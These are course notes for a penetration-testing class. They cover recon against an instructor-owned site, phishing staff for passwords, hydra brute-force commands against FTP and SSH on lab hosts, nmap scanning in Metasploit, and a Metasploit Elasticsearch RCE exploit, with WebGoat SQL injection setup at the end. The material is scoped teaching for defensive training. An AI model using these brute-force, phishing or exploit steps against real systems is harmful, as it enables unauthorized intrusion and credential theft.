Day 1

All references to the Gsheet and mindmaps are given in class

- Create a temporary google account for all class activities to maintain your privacy
- You will use an online documentation google sheet or excel version (Shared in class)
- Please make a copy and share it with your instructor if you wish him to review your results

1 Phases

1-2, TOC, 1-3.1, and 1-3.2

- Scope Phase 1 DO NOT START UNTIL DIRECTED IN CLASS

1. Data collection from interview and live site (no scanning against live site)
2. Details in class

- Site: expsec.us (after your AWS LAB is up you can interrogate your copy directly)
- Interview Brock first before starting.
- Website data collection, no scanning, no brute forcing, no exploits.
- You can email any public account
- You can test any passwords you find
- You may post to website but not reconfigure or change passwords.

1. You may start as soon as you agree to terms
2. You must type in the chat: I agree to the scope

2 reconnaissance

1-4, 2-6

1. Do NOT out BROCK's data to class.
2. List email addresses for me?
3. What is my main website?
4. Where is my website hosted?
5. What is the IP address of my website?
6. Who host my email?
7. What was my last post on social media?
8. Who have you sent email to in my company?

1-4.1 - Original

- You will use only a browser and the scope given in class
- Web server data collection tools (PASSIVE External collection ONLY)
- Passive: Site Report against VICTIM https://sitereport.netcraft.com/
- Domain Name System: Find the email server related to VICTIM
- https://mxtoolbox.com/SuperTool.aspx
- https://web.archive.org/
- NOT IN CLASS - AFTER: https://www.ssllabs.com/ssltest/
- ADVANCED USERS with lab machine running use https://www.kali.org/tools/dmitry/ & https://www.kali.org/tools/testssl.sh/
- Web server data for sheet
- IP address, DNS entries: SOA,NS,MX,A,CNAME, others
- Hosting company
- Last update to site
- PKI Certificate data

- List of failed major protocols SSL / TLS compatibility
- EMAIL details: SPF/DMARC
- Software used, Content Management System vendor
- Weak ciphers supported
- Out of data clients supported
- Tested server side attacks
- Website data collection (ACTIVE manual collection)
- Collect data from external sources
- Locate job listing details, software needing support
- Locate User list, names, email
- Locate support page and links to support, follow links
- Collect default password possibles
- Think of all the ways admins build user logins - populate user list on sheet
- Think of all ways to make a bad password, or login use to populate password list
- login as each use , 3 login attempts only manual
- successful login & capabilities of each account
- Navigate to all known data warrens and test accounts
- Test basic password recipes
-
    - OUT OF SCOPE: BRUTE FORCE (3 guesses max), Changing found account logins**
-
    - STOP using EXPSEC.us at this point and switch to Phase 2: AWS lab 10.4, 10.10, 10.21 ONLY

1-5. Credentials

- Phishing attack
- there are three email accounts that will if you ask will give you passwords but you must make it a plausible email
- the rest will tell you to go somewhere else to get default passwords
- you can use more a than email

Day 2

2-05 - AUTOMATED Passwords in AWS ONLY

Load Kali

- Overview
- Someone performed a short scan look in artifacts for doc: scan output
- We know FTP & SSH are open
- Load user list into Kali
- wget https://ceh-v11-20220609.s3.amazonaws.com/expsecusers.txt
-

cat expsecusers.txt

Load password list into Kali

- https://www.kali.org/tools/seclists/

Upload large password lists & expsec possible user list

 IN KALI

 @ root

- apt -y install seclists
  seclists -h
- Upload expsec possible user list & custom password list
- Shortcut: I put cleaned expsec (this takes planning & process)
- User list on AWS S3
- ` Using wget & moving into correct directory
- IN KALI
- @ root
- wget https://ceh-v11-20220609.s3.amazonaws.com/expsecusers.txt
  mv expsecusers.txt /usr/share/seclists/Usernames/
  wget https://ceh-v11-20220609.s3.amazonaws.com/expsec-passwords.txt
  mv expsec-passwords.txt /usr/share/seclists/Passwords/
    - !!!done!!

Password Guessing against 2 targets running FTP & SSH

- Using hydra
- Port 21 & 22 are open on .10 & .21
- From seclist we have multiple list (one real short, one fake because the lab can't take 122 hrs)
- make 2 target lists by echoing data into a file
- IN KALI
- @ root
- echo '10.0.0.10:21' >> targetsFTP.txt
  echo '10.0.0.21:21' >> targetsFTP.txt
  echo '10.0.0.10:22' >> targetsSSH.txt && echo '10.0.0.21:22' >> targetsSSH.txt
- verify your file contents
- cat targetsFTP.txt
  cat targetsSSH.txt
- if you are at root
- Move targets to /usr/share/seclist
- mv t* /usr/share/seclist
  cd /usr/share/seclist (see 2 target files above)
  ls
  hydra -L ./Usernames/expsecusers.txt -P ./Passwords/expsec-passwords.txt -M targetsFTP.txt ftp
  hydra -L ./Usernames/expsecusers.txt -P ./Passwords/expsec-passwords.txt -M targetsSSH.txt ssh
    - Who did you get?
    - Document in google sheet

With AWS or watch demo

Section 1-6 - Scanning

- Get your own scan using nmap in metasploit / confirm doc LAB-1-05-given-Scan-shortout

Scan, Collect & Document what services are we running on victims?

- Victim IP addresses: 10.0.0.10 & 10.0.0.21 (2)
- Using Metasploit and Nmap together as a scanner

 IN KALI
 @ $
  bash
 this is an insecure shortcut for production systems
  sudo -i
 @ root
  msfconsole
 @ msf6>
  color true
db_nmap -sS -A 10.0.0.10-21
services
 Document?
 How will you get results into sheet from Kali? Manually retype?
  IN KALI
 @ msf6>
  exit

- !!!done!!!

After class 2 options install self or if you cloud skills, or you could just read the report

- READ first first then install https://www.kali.org/tools/gvm/
- Self Install Community edition of OpenVAS
- https://www.kali.org/tools/gvm/
- Scan both hosts
- Save results to new sheet in workbook
- BETA !!!! Cloud Install Community edition of OpenVAS
- this cost $.25 per hour more but the install
- you must have cloud skills & be able to use PKI certificates
- https://aws.amazon.com/marketplace/pp/prodview-mh4obccmdbo5g?sr=0-2&ref_=beagle&applicationId=AWSMPContessa
- Preparation to us in our AWS
- Change defaults in install
- Place in your PTEST VPC, use your Bastion Security group
- login via SSH t osee user pass connection options
- openvas is available under https://IPADDRESSS.c.hossted.com
- Username is admin and password is ########
- ALTERNATIVE Nessus
- Lots of adjustments made by you.
- https://www.tenable.com/try
- 7 day trial
- Report located in artifacts LAB-1-06-CVE-report-10 and LAB-1-06-CVE-report-21
- openvas scan 10.0.0.10
- openvas scan 10.0.0.21

Section 2-6 - Enumeration (Advanced- after class?)

On Kali use these tools DNS enumeration: dnsenum for expsec.us SMB enumeration: enum4linux for both .10 & .21

Section 2-7 - Vulnerability Analysis

- Time pressure is a real part of penetration testing
- We will do this scenario in class:
- You are performing a Vulnerability Analysis and risk assessment
- You have 5 minutes total to read and review all 5 & make a determination
- Rank these from highest to lowest impact based upon your environment (your last job)
- Do you have/support these tools or functions?
- Action: open all 5 of these links in separate tabs

1. CVE-2014-0160 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
2. CVE-2014-6271 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
3. Stagefright https://en.wikipedia.org/wiki/Stagefright_(bug)
4. POODLE https://sploitus.com/?query=POODLE#exploits
5. Cisco Wireless CSRF https://www.exploit-db.com/exploits/47153

Identify other tools in KALI Applications vulnerabilities section that will help with the open services on these two machines.

Section 2-8 - Exploitation

 We have SSH credentials so we can do anything. But we are not.
 Start a SSH instance and escalate priv.
 IN KALI
 @ root
  ssh 10.0.0.21 -l boba_fett
 Supply password from your Artifact's sheet
  CTRL Z
 You now have a remote shell on the windows victim (it will NOT act like your Kali terminal)
 What you can do depends on administrator skills.
  Exploit port 9200
 IN KALI
 @ msf6>
 ? what services have we captured
  services
 ? use exploit (CVE-2014-3120)
 I am not giving you the settings for set (you must think and apply what you have learned)
  use exploit/multi/elasticsearch/script_mvel_rce
set RHOST
set LHOST
set RPORT
set LPORT 4444
 normally we set PAYLOAD but we are trying to verify exploit only
  run

- returned message: Exploit completed, but no session was created.

Section 2-10 - Wireless networks

experimental only

- https://github.com/r4ulcl/WiFiChallengeLab

Section 2-11 - SQL injection

- if you do not want to install you could use this great set of labs
- https://portswigger.net/web-security/all-labs
- This setup must be done before class it takes 5-10 minutes
- If you have zero SQL skills start with this free course
- https://www.sqlcourse.com/beginner-course/
- We use webgoat in docker on Kali
- We use the all-in-one docker container which contains a reverse proxy and both WebGoat and WebWolf which start in the correct order
- https://hub.docker.com/r/webgoat/webgoat
- The project docs
- https://github.com/WebGoat/WebGoat/releases

Load Kali

 at command line
  sudo -i
 apt update
 apt install docker.io
 Y
 For Configuring libc6
  OK
 YES
 Collect TZ matching your server for adjustment of docker command
  date +%Z
 Change docker command to match TZ (it should match)
  docker run -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=UTC webgoat/webgoat
 Leave command prompt running so you can see commands being issued to the backend while working in the front end
 Open in browser
  http://127.0.0.1:8080/WebGoat

- First time usage

When you open WebGoat for the first time, you will see the login screen. If you do not have a username and password, then you can use the register function to create a new user. As long as you do not delete the .webgoat folder that username and your results will be present when you use it the next time. Even if you stop and start the application.

- Video step-by-step SQLi only (Mute the music 9 min)
- https://www.youtube.com/watch?v=C_-ea63FUto
-

 AFTER LABs shut down from orginal command line
  CTRL Z

Section 2-06 - Social engineering